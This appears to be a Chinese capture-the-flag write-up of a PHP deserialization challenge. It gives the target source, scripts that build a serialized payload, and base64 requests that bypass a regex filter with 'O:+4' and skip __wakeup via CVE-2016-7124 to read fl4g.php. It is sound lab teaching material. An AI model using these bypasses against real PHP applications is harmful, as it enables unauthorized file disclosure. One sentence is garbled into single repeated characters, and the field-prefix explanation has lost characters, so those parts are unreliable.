打开题目地址:
这也是一个php反序列化的题目
源代码:
<?php
/**
* 定义一个demo类
*
/
class Demo {
# 初始化$file变量的默认值是index.php
private $file = 'index.php';
# 类初始化的时候的构造函数,初始化当前对象的页面
public function __construct($file) {
$this->file = $file;
}
# 对象销毁之前的析构函数,高亮输出当前对象的$this->file页面
function __destruct() {
echo @highlight_file($this->file, true);
}
# 反序列化的时候,自动调用的__wakeup魔术函数
function __wakeup() {
# 如果当前对象的页面不是index.php,也会被赋值为index.php
if ($this->file != 'index.php') {
# 提示flag在fl4g.php页面,所以我们要绕过__wakeup函数输出fl4g.php页面
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
# 判断GET方式的var变量是否声明并且非 null
if (isset($_GET['var'])) {
# 将获取的GET方式变量var的值base64解码
$var = base64_decode($_GET['var']);
# 解码后的值如果匹配正则表达式
if (preg_match('/[oc]:\d+:/i', $var)) {
# 就输出'stop hacking!'
die('stop hacking!');
} else {
# 不匹配则执行反序列化$var变量
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
所以我们的目的就是输入序列化字符串给GET方式的var变量,绕过正则表达式’/[oc]:\d+:/i’,并且绕过__wakeup(),高亮输出fl4g.php页面。
其中正则表达式’/[oc]:\d+:/i’是/[oc]匹配任意字符o和c,接着冒号,接着\d+匹配一个或者多个数字,之后再一个冒号,最后/i模式修饰符的作用是设定模式:忽略大小写。
首先我们需要生成Demo类的序列化字符串,
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$fl4g = new Demo('fl4g.php');
$input = serialize($fl4g);
echo $input."<br/>";
?>
在线运行:https://tool.lu/coderunner/
运行结果:
得到的Demo类的序列化字符串:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
序列化字符串中的参数的意义:
我们先将未作修改的序列化字符串给GET方式的var变量,
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
经过Base64编码就是:
Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
访问:
http://111.200.241.244:50595/?/var=Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
我们可以看到程序到die(‘stop hacking!’);这个条件分支,所以我们首先要绕过正则表达式’/[oc]:\d+:/i’的匹配:
将原序列化字符串:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
改为:
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
这是因为php中+号可以被当作正号,所以+4等于4,并且可以绕过正则表达式’/[oc]:\d+:/i’的匹配。
将
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
经过Base64编码就是:
TzorNDoiRGVtbyI6MTp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
访问:
http://111.200.241.244:50595/?var=TzorNDoiRGVtbyI6MTp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
我们可以看到程序绕过了if (preg_match('/[oc]:\d+:/i', $var))
的正则匹配,到了执行@unserialize($var)
从而触发了__wakeup()函数将我们要访问的页面由fl4g.php改为了index.php,最后@highlight_file($this->file, true)
显示。
接下来我们就要绕过__wakeup()函数,需要用到CVE-2016-7124的漏洞,在PHP5<5.6.25,PHP7<7.0.10的版本中,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
所以我们将
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
中被序列化的对象属性个数1改为2:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
再把它经过Base64编码就是:
TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
访问:
http://111.200.241.244:51944/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
但是竟然没有绕过__wakeup()函数
我们通过php代码来验证一下,通过比较serialize函数产生的序列化字符串和我们赋值粘贴的字符串的长度和Base64编码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$fl4g = new Demo('fl4g.php');
$var = serialize($fl4g);
echo $var."\n";
$var = str_replace('O:4','O:+4',$var); #用+4替换成4是为了绕过preg_match()的正则匹配
echo $var."\n";
$var = str_replace(':1:',':2:',$var); #绕过__wakeup()魔术方法
echo $var."\n";
echo strlen($var)."\n";
$var = base64_encode($var);
echo $var."\n"."\n";
$input = "O:+4:\"Demo\":2:{s:10:\"Demofile\";s:8:\"fl4g.php\";}";
echo $input."\n";
echo strlen($input)."\n";
$input = base64_encode($input);
echo $input."\n";
?>
在线运行:https://tool.lu/coderunner/
运行结果:
发现php的serialize函数生成的序列化字符串
v
a
r
和
我
们
看
到
的
字
符
串
var和我们看到的字符串
var和我们看到的字符串input长度相差了2,从而导致Base64之后的值不一样。
这是因为对象字段名的序列化。
对象字段名的序列化
var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号$。
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的\0表示 ASCII 码为0的字符,而不是\0组合。
private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中\0字符也是计算长度的。
所以这里的private $file = ‘index.php’;中private在被序列化的时候给Demofile(类名属性名)中的类Demo前后分别加上一个了\0,导致Base64编码的值不同。
如果这里的声明是public,被序列化后的属性名就只是file(属性名)。
通过给赋值粘贴的字符串中的Demofile中的类Demo前后也分别加上一个了\0,可以验证上面的结论:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$fl4g = new Demo('fl4g.php');
$var = serialize($fl4g);
echo $var."\n";
$var = str_replace('O:4','O:+4',$var); #用+4替换成4是为了绕过preg_match()的正则匹配
echo $var."\n";
$var = str_replace(':1:',':2:',$var); #绕过__wakeup()魔术方法
echo $var."\n";
echo strlen($var)."\n";
for($i=0;$i<strlen($var);$i++){
echo $var[$i]."\n";
}
$var = base64_encode($var);
echo $var."\n"."\n";
$input = "O:+4:\"Demo\":2:{s:10:\""."\0"."Demo"."\0"."file\";s:8:\"fl4g.php\";}";
echo $input."\n";
echo strlen($input)."\n";
$input = base64_encode($input);
echo $input."\n";
?>
在线运行:https://tool.lu/coderunner/
运行结果:
逐字符输出serialize函数生成的序列化字符串$var
,可以看到在Demofile中的类Demo前后输出了空字符\0;我们看到的字符串$input
在Demofile中的类Demo前后加上了空字符\0之后,和序列化字符串$var
的长度和Base64值都相等了,结论成立。
最后我们访问:
http://111.200.241.244:51944/?var=TzorNDoiAERlbW8iADoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag:ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}